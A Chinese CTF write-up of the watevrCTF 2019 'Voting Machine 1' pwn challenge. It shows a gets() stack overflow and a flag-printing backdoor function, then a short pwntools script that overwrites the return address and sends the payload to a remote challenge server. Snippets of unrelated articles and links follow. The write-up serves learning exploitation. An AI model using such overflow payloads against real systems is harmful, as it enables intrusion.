news 2026/9/27 19:43:57

[watevrCTF 2019]Voting Machine 1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[watevrCTF 2019]Voting Machine 1

第一次打CTF——PWN篇学习笔记12

int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE v4[2]; // [rsp+Eh] [rbp-2h] BYREF ​ signal(14, sig); alarm(0x28u); puts("Hello and welcome to \x1B[3mour\x1B[23m voting application!"); puts("Today's vote will be regarding the administration of"); puts("watevr CTF."); puts("the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible."); puts("Thanks!"); printf("Vote: "); fflush(_bss_start); gets(v4); puts("Thanks for voting!"); return 0; }

发现gets函数,明显的栈溢出,查看字符串发现/home/ctf/flag.txt,点击进入后门函数

void __noreturn super_secret_function() { FILE *stream; // [rsp+0h] [rbp-10h] char i; // [rsp+Fh] [rbp-1h] ​ stream = fopen("/home/ctf/flag.txt", "r"); if ( !stream ) { puts("Cannot open flag.txt"); exit(1); } for ( i = fgetc(stream); i != -1; i = fgetc(stream) ) putchar(i); fclose(stream); exit(0); }
.text:0000000000400807 super_secret_function proc near .text:0000000000400807 .text:0000000000400807 stream = qword ptr -10h .text:0000000000400807 var_1 = byte ptr -1 .text:0000000000400807 .text:0000000000400807 ; __unwind { .text:0000000000400807 push rbp .text:0000000000400808 mov rbp, rsp .text:000000000040080B sub rsp, 10h .text:000000000040080F lea rsi, modes ; "r" .text:0000000000400816 lea rdi, filename ; "/home/ctf/flag.txt" .text:000000000040081D call _fopen .text:0000000000400822 mov [rbp+stream], rax .text:0000000000400826 cmp [rbp+stream], 0 .text:000000000040082B jnz short loc_400843 .text:000000000040082D lea rdi, s ; "Cannot open flag.txt" .text:0000000000400834 call _puts .text:0000000000400839 mov edi, 1 ; status .text:000000000040083E call _exit

取地址0x400808,据此编写脚本,成功获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",21930) ​ backdoor = 0x400808 ​ payload = cyclic(0x2 + 8) + p64(backdoor) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/26 18:51:35

YoloV8 Detect类扩展支持Qwen-Image生成掩码

YoloV8 Detect类扩展支持Qwen-Image生成掩码 在广告设计、电商主图更新或影视分镜迭代中,一个常见的挑战是:如何快速且精准地修改图像中的特定对象?比如,“把这瓶饮料换成金色包装”“让这只狗穿上雨衣”,传统流程依赖…

作者头像 李华
网站建设 2026/9/26 12:29:01

深度学习视频教程资源合集

14-深度学习-图像识别原理 文件大小: 4.0GB内容特色: 4GB 原理代码案例,吃透 CNN、YOLO、Transformer 视觉适用人群: 计算机视觉初学者、算法工程师、研究生核心价值: 从底层卷积到工业检测,一站式掌握图像识别核心下载链接: https://pan.quark.cn/s/c6…

作者头像 李华
网站建设 2026/9/27 16:24:35

9 个课堂汇报 AI 工具,专科生快速生成内容推荐

9 个课堂汇报 AI 工具,专科生快速生成内容推荐 当论文写作成为一场与时间的赛跑 对于专科生来说,课堂汇报、论文写作、文献综述等任务早已成为学习生活中不可或缺的一部分。然而,这些看似普通的学术任务背后,却隐藏着无数令人头疼…

作者头像 李华
网站建设 2026/9/27 12:05:16

郭大勇:以安全固根基 共建数字金融新生态

12月2日至5日,2025企业家博鳌论坛系列活动在海南博鳌举行。在4日举行的数字金融安全发展大会上,中国银联党委副书记、副董事长、总裁郭大勇出席活动并致辞。中国银联党委副书记、副董事长、总裁 郭大勇郭大勇在致辞中表示,在当前数字金融蓬勃…

作者头像 李华
网站建设 2026/9/27 15:04:19

CFCA张野解读《2025数字银行调查报告》

12月4日下午,“2025企业家博鳌论坛-数字金融安全发展大会暨数字金融联合宣传年年度活动”在海南博鳌举行,大会由新华网主办,以“数聚新势 智汇金融”为主题,围绕金融科技突破、数字安全、数字金融创新、金融高质量发展等核心命题展…

作者头像 李华
网站建设 2026/9/27 1:45:49

CFCA刘通:以多维互信的数字身份服务 赋能金融数字化转型

12月4日下午,“2025企业家博鳌论坛-数字金融安全发展大会暨数字金融联合宣传年年度活动”在海南博鳌举行,大会由新华网主办,以“数聚新势 智汇金融”为主题,围绕金融科技突破、数字安全、数字金融创新、金融高质量发展等核心命题展…

作者头像 李华